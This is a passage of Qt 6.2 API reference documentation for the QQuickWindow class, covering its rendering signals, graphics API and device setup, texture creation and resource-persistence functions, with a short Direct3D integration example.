   **Warning:** This signal is emitted from the scene graph rendering thread. If your slot function needs to finish before execution continues, you must make sure that the connection is direct (see [Qt::ConnectionType](qt#ConnectionType-enum)).

  This function was introduced in Qt 5.14.

 **See also** [rendererInterface](qquickwindow#rendererInterface)().

 ### 
`[signal]` void QQuickWindow::beforeRendering()

 This signal is emitted after the preparations for the frame have been done, meaning there is a command buffer in recording mode, where applicable. If desired, the slot function connected to this signal can query native resources like the command before via [QSGRendererInterface](qsgrendererinterface). Note however that the recording of the main render pass is not yet started at this point and it is not possible to add commands within that pass. Starting a pass means clearing the color, depth, and stencil buffers so it is not possible to achieve an underlay type of rendering by just connecting to this signal. Rather, connect to [beforeRenderPassRecording](qquickwindow#beforeRenderPassRecording)(). However, connecting to this signal is still important if the recording of copy type of commands is desired since those cannot be enqueued within a render pass.

 When using OpenGL, the [QOpenGLContext](qopenglcontext) used for rendering by the scene graph will be bound at this point.

  **Warning:** This signal is emitted from the scene graph rendering thread. If your slot function needs to finish before execution continues, you must make sure that the connection is direct (see [Qt::ConnectionType](qt#ConnectionType-enum)).

   **Warning:** When using OpenGL, be aware that setting OpenGL 3.x or 4.x specific states and leaving these enabled or set to non-default values when returning from the connected slot can interfere with the scene graph's rendering.

  **See also** [rendererInterface](qquickwindow#rendererInterface)(), [Scene Graph - OpenGL Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-openglunderqml-example.html), [Scene Graph - Metal Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-metalunderqml-example.html), [Scene Graph - Vulkan Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-vulkanunderqml-example.html), and [Scene Graph - Direct3D 11 Under QML](https://doc.qt.io/qt-6.2/qtquick-scenegraph-d3d11underqml-example.html).

 ### 
`[signal]` void QQuickWindow::beforeSynchronizing()

 This signal is emitted before the scene graph is synchronized with the QML state.

 Even though the signal is emitted from the scene graph rendering thread, the GUI thread is guaranteed to be blocked, like it is in [QQuickItem::updatePaintNode](qquickitem#updatePaintNode)(). Therefore, it is safe to access GUI thread thread data in a slot or lambda that is connected with [Qt::DirectConnection](qt#ConnectionType-enum).

 This signal can be used to do any preparation required before calls to [QQuickItem::updatePaintNode](qquickitem#updatePaintNode)().

 When using OpenGL, the [QOpenGLContext](qopenglcontext) used for rendering by the scene graph will be bound at this point.

  **Warning:** This signal is emitted from the scene graph rendering thread. If your slot function needs to finish before execution continues, you must make sure that the connection is direct (see [Qt::ConnectionType](qt#ConnectionType-enum)).

   **Warning:** When using OpenGL, be aware that setting OpenGL 3.x or 4.x specific states and leaving these enabled or set to non-default values when returning from the connected slot can interfere with the scene graph's rendering.

  ### 
`[signal, since 5.1]` void QQuickWindow::closing(QQuickCloseEvent \**close*)

 This signal is emitted when the window receives the event *close* from the windowing system.

 On macOs, Qt will create a menu item `Quit` if there is no menu item whose text is "quit" or "exit". This menu item calls the `QCoreApplication::quit` signal, not the `QQuickWindow::closing()` signal.

 This function was introduced in Qt 5.1.

 **See also** [QMenuBar as a Global Menu Bar](qmenubar#qmenubar-as-a-global-menu-bar).

 ### 
`[signal]` void QQuickWindow::frameSwapped()

 This signal is emitted when a frame has been queued for presenting. With vertical synchronization enabled the signal is emitted at most once per vsync interval in a continuously animating scene.

 This signal will be emitted from the scene graph rendering thread.

 ### 
`[slot]` void QQuickWindow::releaseResources()

 This function tries to release redundant resources currently held by the QML scene.

 Calling this function requests the scene graph to release cached graphics resources, such as graphics pipeline objects or shader programs.

  **Note:** The releasing of cached graphics resources is not dependent on the hint from [setPersistentGraphics](qquickwindow#setPersistentGraphics)().

  Additionally, depending on the render loop in use, this function may also result in the scene graph and all rendering resources to be released. If this happens, the [sceneGraphInvalidated](qquickwindow#sceneGraphInvalidated)() signal will be emitted, allowing users to clean up their own graphics resources. The [setPersistentGraphics](qquickwindow#setPersistentGraphics)() and [setPersistentSceneGraph](qquickwindow#setPersistentSceneGraph)() functions can be used to prevent this from happening, if handling the cleanup is not feasible in the application, at the cost of higher memory usage.

 **See also** [sceneGraphInvalidated](qquickwindow#sceneGraphInvalidated)(), [setPersistentGraphics](qquickwindow#setPersistentGraphics)(), and [setPersistentSceneGraph](qquickwindow#setPersistentSceneGraph)().

 ### 
`[signal, since 5.3]` void QQuickWindow::sceneGraphAboutToStop()

 This signal is emitted on the render thread when the scene graph is about to stop rendering. This happens usually because the window has been hidden.

 Applications may use this signal to release resources, but should be prepared to reinstantiated them again fast. The scene graph and the graphics context are not released at this time.

  **Warning:** This signal is emitted from the scene graph rendering thread. If your slot function needs to finish before execution continues, you must make sure that the connection is direct (see [Qt::ConnectionType](qt#ConnectionType-enum)).

   **Warning:** Make very sure that a signal handler for sceneGraphAboutToStop() leaves the graphics context in the same state as it was when the signal handler was entered. Failing to do so can result in the scene not rendering properly.

  This function was introduced in Qt 5.3.

 **See also** [sceneGraphInvalidated](qquickwindow#sceneGraphInvalidated)().

 ### 
`[signal, since 5.3]` void QQuickWindow::sceneGraphError([QQuickWindow::SceneGraphError](qquickwindow#SceneGraphError-enum) *error*, const [QString](qstring) &*message*)

 This signal is emitted when an *error* occurred during scene graph initialization.

 Applications should connect to this signal if they wish to handle errors, like graphics context creation failures, in a custom way. When no slot is connected to the signal, the behavior will be different: Quick will print the *message*, or show a message box, and terminate the application.

 This signal will be emitted from the GUI thread.

 This function was introduced in Qt 5.3.

 ### 
`[signal]` void QQuickWindow::sceneGraphInitialized()

 This signal is emitted when the scene graph has been initialized.

 This signal will be emitted from the scene graph rendering thread.

 ### 
`[signal]` void QQuickWindow::sceneGraphInvalidated()

 This signal is emitted when the scene graph has been invalidated.

 This signal implies that the graphics rendering context used has been invalidated and all user resources tied to that context should be released.

 When rendering with OpenGL, the [QOpenGLContext](qopenglcontext) of this window will be bound when this function is called. The only exception is if the native OpenGL has been destroyed outside Qt's control, for instance through EGL\_CONTEXT\_LOST.

 This signal will be emitted from the scene graph rendering thread.

 ### 
`[slot]` void QQuickWindow::update()

 Schedules the window to render another frame.

 Calling QQuickWindow::update() differs from [QQuickItem::update](qquickitem#update)() in that it always triggers a repaint, regardless of changes in the underlying scene graph or not.

 ### 
`[override virtual]` QQuickWindow::~QQuickWindow()

 Destroys the window.

 ### 
`[override virtual]` [QAccessibleInterface](qaccessibleinterface) \*QQuickWindow::accessibleRoot() const

 Returns an accessibility interface for this window, or 0 if such an interface cannot be created.

 ### 
`[since 5.14]` void QQuickWindow::beginExternalCommands()

 When mixing raw graphics (OpenGL, Vulkan, Metal, etc.) commands with scene graph rendering, it is necessary to call this function before recording commands to the command buffer used by the scene graph to render its main render pass. This is to avoid clobbering state.

 In practice this function is often called from a slot connected to the [beforeRenderPassRecording](qquickwindow#beforeRenderPassRecording)() or [afterRenderPassRecording](qquickwindow#afterRenderPassRecording)() signals.

 The function does not need to be called when recording commands to the application's own command buffer (such as, a VkCommandBuffer or MTLCommandBuffer + MTLRenderCommandEncoder created and managed by the application, not retrieved from the scene graph). With graphics APIs where no native command buffer concept is exposed (OpenGL, Direct 3D 11), beginExternalCommands() and [endExternalCommands](qquickwindow#endExternalCommands)() together provide a replacement for the Qt 5 resetOpenGLState() function.

 Calling this function and [endExternalCommands](qquickwindow#endExternalCommands)() is not necessary within the [render](qsgrendernode#render)() implementation of a [QSGRenderNode](qsgrendernode) because the scene graph performs the necessary steps implicitly for render nodes.

 Native graphics objects (such as, graphics device, command buffer or encoder) are accessible via [QSGRendererInterface::getResource](qsgrendererinterface#getResource)().

  **Warning:** Watch out for the fact that [QSGRendererInterface::CommandListResource](qsgrendererinterface#Resource-enum) may return a different object between beginExternalCommands() - [endExternalCommands](qquickwindow#endExternalCommands)(). This can happen when the underlying implementation provides a dedicated secondary command buffer for recording external graphics commands within a render pass. Therefore, always query CommandListResource after calling this function. Do not attempt to reuse an object from an earlier query.

   **Note:** When the scenegraph is using OpenGL, pay attention to the fact that the OpenGL state in the context can have arbitrary settings, and this function does not perform any resetting of the state back to defaults.

  This function was introduced in Qt 5.14.

 **See also** [endExternalCommands](qquickwindow#endExternalCommands)() and [QQuickOpenGLUtils::resetOpenGLState](qquickopenglutils#resetOpenGLState)().

 ### 
`[override virtual protected]` void QQuickWindow::closeEvent([QCloseEvent](qcloseevent) \**e*)

 Reimplements: [QWindow::closeEvent](qwindow#closeEvent)(QCloseEvent \*ev).

 ### 
`[since 5.8]` [QSGImageNode](qsgimagenode) \*QQuickWindow::createImageNode() const

 Creates a simple image node. When the scenegraph is not initialized, the return value is null.

 This is cross-backend alternative to constructing a [QSGSimpleTextureNode](qsgsimpletexturenode) directly.

 This function was introduced in Qt 5.8.

 **See also** [QSGImageNode](qsgimagenode).

 ### 
`[since 5.8]` QSGNinePatchNode \*QQuickWindow::createNinePatchNode() const

 Creates a nine patch node. When the scenegraph is not initialized, the return value is null.

 This function was introduced in Qt 5.8.

 ### 
`[since 5.8]` [QSGRectangleNode](qsgrectanglenode) \*QQuickWindow::createRectangleNode() const

 Creates a simple rectangle node. When the scenegraph is not initialized, the return value is null.

 This is cross-backend alternative to constructing a [QSGSimpleRectNode](qsgsimplerectnode) directly.

 This function was introduced in Qt 5.8.

 **See also** [QSGRectangleNode](qsgrectanglenode).

 ### 
[QSGTexture](qsgtexture) \*QQuickWindow::createTextureFromImage(const [QImage](qimage) &*image*, [QQuickWindow::CreateTextureOptions](qquickwindow#CreateTextureOption-enum) *options*) const

 Creates a new [QSGTexture](qsgtexture) from the supplied *image*. If the image has an alpha channel, the corresponding texture will have an alpha channel.

 The caller of the function is responsible for deleting the returned texture. The underlying native texture object is then destroyed together with the [QSGTexture](qsgtexture).

 When *options* contains [TextureCanUseAtlas](qquickwindow#CreateTextureOption-enum), the engine may put the image into a texture atlas. Textures in an atlas need to rely on [QSGTexture::normalizedTextureSubRect](qsgtexture#normalizedTextureSubRect)() for their geometry and will not support [QSGTexture::Repeat](qsgtexture#WrapMode-enum). Other values from [CreateTextureOption](qquickwindow#CreateTextureOption-enum) are ignored.

 When *options* contains [TextureIsOpaque](qquickwindow#CreateTextureOption-enum), the engine will create an RGB texture which returns false for [QSGTexture::hasAlphaChannel](qsgtexture#hasAlphaChannel)(). Opaque textures will in most cases be faster to render. When this flag is not set, the texture will have an alpha channel based on the image's format.

 When *options* contains [TextureHasMipmaps](qquickwindow#CreateTextureOption-enum), the engine will create a texture which can use mipmap filtering. Mipmapped textures can not be in an atlas.

 When the scene graph uses OpenGL, the returned texture will be using `GL_TEXTURE_2D` as texture target and `GL_RGBA` as internal format. With other graphics APIs, the texture format is typically `RGBA8`. Reimplement [QSGTexture](qsgtexture) to create textures with different parameters.

  **Warning:** This function will return 0 if the scene graph has not yet been initialized.

   **Warning:** The returned texture is not memory managed by the scene graph and must be explicitly deleted by the caller on the rendering thread. This is achieved by deleting the texture from a [QSGNode](qsgnode) destructor or by using [deleteLater](qobject#deleteLater)() in the case where the texture already has affinity to the rendering thread.

  This function can be called from any thread.

 **See also** [sceneGraphInitialized](qquickwindow#sceneGraphInitialized)() and [QSGTexture](qsgtexture).

 ### 
[QSGTexture](qsgtexture) \*QQuickWindow::createTextureFromImage(const [QImage](qimage) &*image*) const

 This is an overloaded function.

 ### 
[qreal](qtglobal#qreal-typedef) QQuickWindow::effectiveDevicePixelRatio() const

 Returns the device pixel ratio for this window.

 This is different from [QWindow::devicePixelRatio](qwindow#devicePixelRatio)() in that it supports redirected rendering via [QQuickRenderControl](qquickrendercontrol). When using a [QQuickRenderControl](qquickrendercontrol), the [QQuickWindow](qquickwindow) is often not created, meaning it is never shown and there is no underlying native window created in the windowing system. As a result, querying properties like the device pixel ratio cannot give correct results. Use this function instead.

 **See also** [QWindow::devicePixelRatio](qwindow#devicePixelRatio)().

 ### 
`[since 5.14]` void QQuickWindow::endExternalCommands()

 When mixing raw graphics (OpenGL, Vulkan, Metal, etc.) commands with scene graph rendering, it is necessary to call this function after recording commands to the command buffer used by the scene graph to render its main render pass. This is to avoid clobbering state.

 In practice this function is often called from a slot connected to the [beforeRenderPassRecording](qquickwindow#beforeRenderPassRecording)() or [afterRenderPassRecording](qquickwindow#afterRenderPassRecording)() signals.

 The function does not need to be called when recording commands to the application's own command buffer (such as, a VkCommandBuffer or MTLCommandBuffer + MTLRenderCommandEncoder created and managed by the application, not retrieved from the scene graph). With graphics APIs where no native command buffer concept is exposed (OpenGL, Direct 3D 11), [beginExternalCommands](qquickwindow#beginExternalCommands)() and endExternalCommands() together provide a replacement for the Qt 5 resetOpenGLState() function.

 Calling this function and [beginExternalCommands](qquickwindow#beginExternalCommands)() is not necessary within the [render](qsgrendernode#render)() implementation of a [QSGRenderNode](qsgrendernode) because the scene graph performs the necessary steps implicitly for render nodes.

 This function was introduced in Qt 5.14.

 **See also** [beginExternalCommands](qquickwindow#beginExternalCommands)() and [QQuickOpenGLUtils::resetOpenGLState](qquickopenglutils#resetOpenGLState)().

 ### 
`[override virtual protected]` bool QQuickWindow::event([QEvent](qevent) \**e*)

 Reimplements: [QWindow::event](qwindow#event)(QEvent \*ev).

 ### 
`[override virtual protected]` void QQuickWindow::exposeEvent([QExposeEvent](qexposeevent) \*)

 Reimplements: [QWindow::exposeEvent](qwindow#exposeEvent)(QExposeEvent \*ev).

 ### 
`[override virtual protected]` void QQuickWindow::focusInEvent([QFocusEvent](qfocusevent) \**ev*)

 Reimplements: [QWindow::focusInEvent](qwindow#focusInEvent)(QFocusEvent \*ev).

 ### 
`[override virtual protected]` void QQuickWindow::focusOutEvent([QFocusEvent](qfocusevent) \**ev*)

 Reimplements: [QWindow::focusOutEvent](qwindow#focusOutEvent)(QFocusEvent \*ev).

 ### 
[QImage](qimage) QQuickWindow::grabWindow()

 Grabs the contents of the window and returns it as an image.

 It is possible to call the grabWindow() function when the window is not visible. This requires that the window is [created](qwindow#create) and has a valid size and that no other [QQuickWindow](qquickwindow) instances are rendering in the same process.

  **Note:** When using this window in combination with [QQuickRenderControl](qquickrendercontrol), the result of this function is an empty image, unless the `software` backend is in use. This is because when redirecting the output to an application-managed graphics resource (such as, a texture) by using [QQuickRenderControl](qquickrendercontrol) and [setRenderTarget](qquickwindow#setRenderTarget)(), the application is better suited for managing and executing an eventual read back operation, since it is in full control of the resource to begin with.

   **Warning:** Calling this function will cause performance problems.

   **Warning:** This function can only be called from the GUI thread.

  ### 
`[static, since 6.0]` [QSGRendererInterface::GraphicsApi](qsgrendererinterface#GraphicsApi-enum) QQuickWindow::graphicsApi()

 Returns the graphics API that would be used by the scene graph if it was initialized at this point in time.

 The standard way to query the API used by the scene graph is to use [QSGRendererInterface::graphicsApi](qsgrendererinterface#graphicsApi)() once the scene graph has initialized, for example when or after the [sceneGraphInitialized](qquickwindow#sceneGraphInitialized)() signal is emitted. In that case one gets the true, real result, because then it is known that everything was initialized correctly using that graphics API.

 This is not always convenient. If the application needs to set up external frameworks, or needs to work with [setGraphicsDevice](qquickwindow#setGraphicsDevice)() in a manner that depends on the scene graph's built in API selection logic, it is not always feasiable to defer such operations until after the [QQuickWindow](qquickwindow) has been made visible or [QQuickRenderControl::initialize](qquickrendercontrol#initialize)() has been called.

 Therefore, this static function is provided as a counterpart to [setGraphicsApi](qquickwindow#setGraphicsApi)(): it can be called at any time, and the result reflects what API the scene graph would choose if it was initialized at the point of the call.

  **Note:** This static function is intended to be called on the main (GUI) thread only. For querying the API when rendering, use [QSGRendererInterface](qsgrendererinterface) since that object lives on the render thread.

   **Note:** This function does not take scene graph backends into account.

  This function was introduced in Qt 6.0.

 **See also** [setGraphicsApi](qquickwindow#setGraphicsApi)().

 ### 
`[since 6.0]` [QQuickGraphicsConfiguration](qquickgraphicsconfiguration) QQuickWindow::graphicsConfiguration() const

 Returns the [QQuickGraphicsDevice](qquickgraphicsdevice) passed to [setGraphicsDevice](qquickwindow#setGraphicsDevice)(), or a default constructed one otherwise

 This function was introduced in Qt 6.0.

 **See also** [setGraphicsConfiguration](qquickwindow#setGraphicsConfiguration)().

 ### 
`[since 6.0]` [QQuickGraphicsDevice](qquickgraphicsdevice) QQuickWindow::graphicsDevice() const

 Returns the [QQuickGraphicsDevice](qquickgraphicsdevice) passed to [setGraphicsDevice](qquickwindow#setGraphicsDevice)(), or a default constructed one otherwise

 This function was introduced in Qt 6.0.

 **See also** [setGraphicsDevice](qquickwindow#setGraphicsDevice)().

 ### const [QQuickWindow::GraphicsStateInfo](qquickwindow-graphicsstateinfo) &QQuickWindow::graphicsStateInfo()

 Returns a reference to a [GraphicsStateInfo](qquickwindow-graphicsstateinfo) struct describing some of the RHI's internal state, in particular, the double or tripple buffering status of the backend (such as, the Vulkan or Metal integrations). This is relevant when the underlying graphics APIs is Vulkan or Metal, and the external rendering code wishes to perform double or tripple buffering of its own often-changing resources, such as, uniform buffers, in order to avoid stalling the pipeline.

 ### 
`[static, since 5.1]` bool QQuickWindow::hasDefaultAlphaBuffer()

 Returns whether to use alpha transparency on newly created windows.

 This function was introduced in Qt 5.1.

 **See also** [setDefaultAlphaBuffer](qquickwindow#setDefaultAlphaBuffer)().

 ### 
`[override virtual protected]` void QQuickWindow::hideEvent([QHideEvent](qhideevent) \*)

 Reimplements: [QWindow::hideEvent](qwindow#hideEvent)(QHideEvent \*ev).

 ### 
[QQmlIncubationController](qqmlincubationcontroller) \*QQuickWindow::incubationController() const

 Returns an incubation controller that splices incubation between frames for this window. [QQuickView](qquickview) automatically installs this controller for you, otherwise you will need to install it yourself using [QQmlEngine::setIncubationController](qqmlengine#setIncubationController)().

 The controller is owned by the window and will be destroyed when the window is deleted.

 ### 
bool QQuickWindow::isPersistentGraphics() const

 Returns whether essential graphics resources can be released during the lifetime of the [QQuickWindow](qquickwindow).

  **Note:** This is a hint, and is not guaranteed that it is taken into account.

  **See also** [setPersistentGraphics](qquickwindow#setPersistentGraphics)().

 ### 
bool QQuickWindow::isPersistentSceneGraph() const

 Returns whether the scene graph nodes and resources can be released during the lifetime of this [QQuickWindow](qquickwindow).

  **Note:** This is a hint. When and how this happens is implementation specific.

  ### 
bool QQuickWindow::isSceneGraphInitialized() const

 Returns true if the scene graph has been initialized; otherwise returns false.

 ### 
`[override virtual protected]` void QQuickWindow::keyPressEvent([QKeyEvent](qkeyevent) \**e*)

 Reimplements: [QWindow::keyPressEvent](qwindow#keyPressEvent)(QKeyEvent \*ev).

 ### 
`[override virtual protected]` void QQuickWindow::keyReleaseEvent([QKeyEvent](qkeyevent) \**e*)

 Reimplements: [QWindow::keyReleaseEvent](qwindow#keyReleaseEvent)(QKeyEvent \*ev).

 ### 
`[override virtual protected]` void QQuickWindow::mouseDoubleClickEvent([QMouseEvent](qmouseevent) \**event*)

 Reimplements: [QWindow::mouseDoubleClickEvent](qwindow#mouseDoubleClickEvent)(QMouseEvent \*ev).

 ### 
`[override virtual protected]` void QQuickWindow::mouseMoveEvent([QMouseEvent](qmouseevent) \**event*)

 Reimplements: [QWindow::mouseMoveEvent](qwindow#mouseMoveEvent)(QMouseEvent \*ev).

 ### 
`[override virtual protected]` void QQuickWindow::mousePressEvent([QMouseEvent](qmouseevent) \**event*)

 Reimplements: [QWindow::mousePressEvent](qwindow#mousePressEvent)(QMouseEvent \*ev).

 ### 
`[override virtual protected]` void QQuickWindow::mouseReleaseEvent([QMouseEvent](qmouseevent) \**event*)

 Reimplements: [QWindow::mouseReleaseEvent](qwindow#mouseReleaseEvent)(QMouseEvent \*ev).

 ### 
`[since 6.0]` [QQuickRenderTarget](qquickrendertarget) QQuickWindow::renderTarget() const

 Returns the [QQuickRenderTarget](qquickrendertarget) passed to [setRenderTarget](qquickwindow#setRenderTarget)(), or a default constructed one otherwise

 This function was introduced in Qt 6.0.

 **See also** [setRenderTarget](qquickwindow#setRenderTarget)().

 ### 
`[since 5.8]` [QSGRendererInterface](qsgrendererinterface) \*QQuickWindow::rendererInterface() const

 Returns the current renderer interface. The value is always valid and is never null.

  **Note:** This function can be called at any time after constructing the [QQuickWindow](qquickwindow), even while [isSceneGraphInitialized](qquickwindow#isSceneGraphInitialized)() is still false. However, some renderer interface functions, in particular [QSGRendererInterface::getResource](qsgrendererinterface#getResource)() will not be functional until the scenegraph is up and running. Backend queries, like [QSGRendererInterface::graphicsApi](qsgrendererinterface#graphicsApi)() or [QSGRendererInterface::shaderType](qsgrendererinterface#shaderType)(), will always be functional on the other hand.

   **Note:** The ownership of the returned pointer stays with Qt. The returned instance may or may not be shared between different [QQuickWindow](qquickwindow) instances, depending on the scenegraph backend in use. Therefore applications are expected to query the interface object for each [QQuickWindow](qquickwindow) instead of reusing the already queried pointer.

  This function was introduced in Qt 5.8.

 **See also** [QSGRenderNode](qsgrendernode) and [QSGRendererInterface](qsgrendererinterface).

 ### 
`[override virtual protected]` void QQuickWindow::resizeEvent([QResizeEvent](qresizeevent) \**ev*)

 Reimplements: [QWindow::resizeEvent](qwindow#resizeEvent)(QResizeEvent \*ev).

 ### 
`[static, since 5.9]` [QString](qstring) QQuickWindow::sceneGraphBackend()

 Returns the requested Qt Quick scenegraph backend.

  **Note:** The return value of this function may still be outdated by subsequent calls to [setSceneGraphBackend](qquickwindow#setSceneGraphBackend)() until the first [QQuickWindow](qquickwindow) in the application has been constructed.

   **Note:** The value only reflects the request in the `QT_QUICK_BACKEND` environment variable after a [QQuickWindow](qquickwindow) has been constructed.

  This function was introduced in Qt 5.9.

 **See also** [setSceneGraphBackend](qquickwindow#setSceneGraphBackend)().

 ### 
`[since 5.4]` void QQuickWindow::scheduleRenderJob([QRunnable](qrunnable) \**job*, [QQuickWindow::RenderStage](qquickwindow#RenderStage-enum) *stage*)

 Schedules *job* to run when the rendering of this window reaches the given *stage*.

 This is a convenience to the equivalent signals in [QQuickWindow](qquickwindow) for "one shot" tasks.

 The window takes ownership over *job* and will delete it when the job is completed.

 If rendering is shut down before *job* has a chance to run, the job will be run and then deleted as part of the scene graph cleanup. If the window is never shown and no rendering happens before the [QQuickWindow](qquickwindow) is destroyed, all pending jobs will be destroyed without their run() method being called.

 If the rendering is happening on a different thread, then the job will happen on the rendering thread.

 If *stage* is [NoStage](qquickwindow#RenderStage-enum), *job* will be run at the earliest opportunity whenever the render thread is not busy rendering a frame. If the window is not exposed, and is not renderable, at the time the job is either posted or handled, the job is deleted without executing the run() method. If a non-threaded renderer is in use, the run() method of the job is executed synchronously. When rendering with OpenGL, the OpenGL context is changed to the renderer's context before executing any job, including [NoStage](qquickwindow#RenderStage-enum) jobs.

  **Note:** This function does not trigger rendering; the jobs targeting any other stage than [NoStage](qquickwindow#RenderStage-enum) will be stored run until rendering is triggered elsewhere. To force the job to run earlier, call [QQuickWindow::update](qquickwindow#update)();

  This function was introduced in Qt 5.4.

 **See also** [beforeRendering](qquickwindow#beforeRendering)(), [afterRendering](qquickwindow#afterRendering)(), [beforeSynchronizing](qquickwindow#beforeSynchronizing)(), [afterSynchronizing](qquickwindow#afterSynchronizing)(), [frameSwapped](qquickwindow#frameSwapped)(), and [sceneGraphInvalidated](qquickwindow#sceneGraphInvalidated)().

 ### 
`[static, since 5.1]` void QQuickWindow::setDefaultAlphaBuffer(bool *useAlpha*)

 *useAlpha* specifies whether to use alpha transparency on newly created windows.

 In any application which expects to create translucent windows, it's necessary to set this to true before creating the first [QQuickWindow](qquickwindow). The default value is false.

 This function was introduced in Qt 5.1.

 **See also** [hasDefaultAlphaBuffer](qquickwindow#hasDefaultAlphaBuffer)().

 ### 
`[static, since 5.8]` void QQuickWindow::setGraphicsApi([QSGRendererInterface::GraphicsApi](qsgrendererinterface#GraphicsApi-enum) *api*)

 Requests the specified graphics *api*.

 When the built-in, default graphics adaptation is used, *api* specifies which graphics API (OpenGL, Vulkan, Metal, or Direct3D) the scene graph should use to render. In addition, the `software` backend is built-in as well, and can be requested by setting *api* to [QSGRendererInterface::Software](qsgrendererinterface#GraphicsApi-enum).

 Unlike [setSceneGraphBackend](qquickwindow#setSceneGraphBackend)(), which can only be used to request a given backend (shipped either built-in or installed as dynamically loaded plugins), this function works with the higher level concept of graphics APIs. It covers the backends that ship with Qt Quick, and thus have corresponding values in the [QSGRendererInterface::GraphicsApi](qsgrendererinterface#GraphicsApi-enum) enum.

 When this function is not called at all, and the equivalent environment variable `QSG_RHI_BACKEND` is not set either, the scene graph will choose the graphics API to use based on the platform.

 This function becomes important in applications that are only prepared for rendering with a given API. For example, if there is native OpenGL or Vulkan rendering done by the application, it will want to ensure Qt Quick is rendering using OpenGL or Vulkan too. Such applications are expected to call this function early in their main() function.

  **Note:** The call to the function must happen before constructing the first [QQuickWindow](qquickwindow) in the application. The graphics API cannot be changed afterwards.

   **Note:** When used in combination with [QQuickRenderControl](qquickrendercontrol), this rule is relaxed: it is possible to change the graphics API, but only when all existing [QQuickRenderControl](qquickrendercontrol) and [QQuickWindow](qquickwindow) instances have been destroyed.

  To query what graphics API the scene graph is using to render, [QSGRendererInterface::graphicsApi](qsgrendererinterface#graphicsApi)() after the scene graph [has initialized](qquickwindow#isSceneGraphInitialized), which typically happens either when the window becomes visible for the first time, or when [QQuickRenderControl::initialize](qquickrendercontrol#initialize)() is called.

 To switch back to the default behavior, where the scene graph chooses a graphics API based on the platform and other conditions, set *api* to [QSGRendererInterface::Unknown](qsgrendererinterface#GraphicsApi-enum).

 This function was introduced in Qt 5.8.

 **See also** [graphicsApi](qquickwindow#graphicsApi)().

 ### 
`[since 6.0]` void QQuickWindow::setGraphicsConfiguration(const [QQuickGraphicsConfiguration](qquickgraphicsconfiguration) &*config*)

 Sets the graphics configuration for this window. *config* contains various settings that may be taken into account by the scene graph when initializing the underlying graphics devices and contexts.

 Such additional configuration, specifying for example what device extensions to enable for Vulkan, becomes relevant and essential when integrating native graphics rendering code that relies on certain extensions. The same is true when integrating with an external 3D or VR engines, such as OpenXR.

  **Note:** The configuration is ignored when adopting existing graphics devices via [setGraphicsDevice](qquickwindow#setGraphicsDevice)() since the scene graph is then not in control of the actual construction of those objects.

  [QQuickGraphicsConfiguration](qquickgraphicsconfiguration) instances are implicitly shared, copyable, and can be passed by value.

  **Warning:** Setting a [QQuickGraphicsConfiguration](qquickgraphicsconfiguration) on a [QQuickWindow](qquickwindow) must happen early enough, before the scene graph is initialized for the first time for that window. With on-screen windows this means the call must be done before invoking [show](qwindow#show)() on the [QQuickWindow](qquickwindow) or [QQuickView](qquickview). With [QQuickRenderControl](qquickrendercontrol) the configuration must be finalized before calling [initialize](qquickrendercontrol#initialize)().

  This function was introduced in Qt 6.0.

 **See also** [graphicsConfiguration](qquickwindow#graphicsConfiguration)().

 ### 
`[since 6.0]` void QQuickWindow::setGraphicsDevice(const [QQuickGraphicsDevice](qquickgraphicsdevice) &*device*)

 Sets the graphics device objects for this window. The scenegraph will use existing device, physical device, and other objects specified by *device* instead of creating new ones.

 This function is very often used in combination with [QQuickRenderControl](qquickrendercontrol) and [setRenderTarget](qquickwindow#setRenderTarget)(), in order to redirect Qt Quick rendering into a texture.

 A default constructed [QQuickGraphicsDevice](qquickgraphicsdevice) does not change the default behavior in any way. Once a *device* created via one of the [QQuickGraphicsDevice](qquickgraphicsdevice) factory functions, such as, [QQuickGraphicsDevice::fromDeviceObjects](qquickgraphicsdevice#fromDeviceObjects)(), is passed in, and the scenegraph uses a matching graphics API (with the example of fromDeviceObjects(), that would be Vulkan), the scenegraph will use the existing device objects (such as, the `VkPhysicalDevice`, `VkDevice`, and graphics queue family index, in case of Vulkan) encapsulated by the [QQuickGraphicsDevice](qquickgraphicsdevice). This allows using the same device, and so sharing resources, such as buffers and textures, between Qt Quick and native rendering engines.

  **Warning:** This function can only be called before initializing the scenegraph and will have no effect if called afterwards. In practice this typically means calling it right before [QQuickRenderControl::initialize](qquickrendercontrol#initialize)().

  As an example, this time with Direct3D, the typical usage is expected to be the following:

 
```
// native graphics resources set up by a custom D3D rendering engine
ID3D11Device *device;
ID3D11DeviceContext *context;
ID3D11Texture2D *texture;
...
// now to redirect Qt Quick content into 'texture' we could do the following:
QQuickRenderControl *renderControl = new QQuickRenderControl;
QQuickWindow *window = new QQuickWindow(renderControl); // this window will never be shown on-screen
...
window->setGraphicsDevice(QQuickGraphicsDevice::fromDeviceAndContext(device, context));
renderControl->initialize();
window->setRenderTarget(QQuickRenderTarget::fromD3D11Texture(texture, textureSize);
...
```
 The key aspect of using this function is to ensure that resources or handles to resources, such as `texture` in the above example, are visible to and usable by both the external rendering engine and the scenegraph renderer. This requires using the same graphics device (or with OpenGL, OpenGL context).

 [QQuickGraphicsDevice](qquickgraphicsdevice) instances are implicitly shared, copyable, and can be passed by value. They do not own the associated native objects (such as, the ID3D11Device in the example).

  **Note:** Using [QQuickRenderControl](qquickrendercontrol) does not always imply having to call this function. When adopting an existing device or context is not needed, this function should not be called, and the scene graph will then initialize its own devices and contexts normally, just as it would with an on-screen [QQuickWindow](qquickwindow).

  This function was introduced in Qt 6.0.

 **See also** [graphicsDevice](qquickwindow#graphicsDevice)(), [QQuickRenderControl](qquickrendercontrol), [setRenderTarget](qquickwindow#setRenderTarget)(), and [setGraphicsApi](qquickwindow#setGraphicsApi)().

 ### 
void QQuickWindow::setPersistentGraphics(bool *persistent*)

 Sets whether the graphics resources (graphics device or context, swapchain, buffers, textures) should be preserved, and cannot be released until the last window is deleted, to *persistent*. The default value is true.

 When calling [releaseResources](qquickwindow#releaseResources)(), or when the window gets hidden (more specifically, not renderable), some render loops have the possibility to release all, not just the cached, graphics resources. This can free up memory temporarily, but it also means the rendering engine will have to do a full, potentially costly reinitialization of the resources when the window needs to render again.

  **Note:** The rules for when a window is not renderable are platform and window manager specific.

   **Note:** All graphics resources are released when the last [QQuickWindow](qquickwindow) is deleted, regardless of this setting.

   **Note:** This is a hint, and is not guaranteed that it is taken into account.

